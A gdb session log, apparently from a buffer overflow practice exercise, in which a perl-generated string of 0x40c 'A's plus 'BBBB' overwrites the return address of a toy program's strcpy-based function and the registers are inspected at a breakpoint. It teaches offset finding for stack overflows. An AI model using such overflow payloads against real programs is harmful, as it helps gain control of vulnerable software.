easy32_debugging2

(gdb) r `perl -e 'print "A"x0x40c, "B"x0x4'`
Starting program: /home/howard/repos/bof/easy32 `perl -e 'print "A"x0x40c, "B"x0x4'`
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) b *vulnerable+22
Breakpoint 1 at 0x8048461: file easy.c, line 14.
(gdb) r `perl -e 'print "A"x0x40c, "B"x0x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/howard/repos/bof/easy32 `perl -e 'print "A"x0x40c, "B"x0x4'`

Breakpoint 1, 0x08048461 in vulnerable (input=0xffffd7e6 'A' <repeats 200 times>...) at easy.c:14
14        strcpy(buffer, input);
(gdb) i r
eax            0xffffd180    -11904
ecx            0xffffd5c0    -10816
edx            0xffffd5e4    -10780
ebx            0x0    0
esp            0xffffd170    0xffffd170
ebp            0xffffd588    0xffffd588
esi            0x2    2
edi            0xf7fb0000    -134545408
eip            0x8048461    0x8048461 <vulnerable+22>
eflags         0x296    [ PF AF SF IF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0    0
gs             0x63    99
(gdb)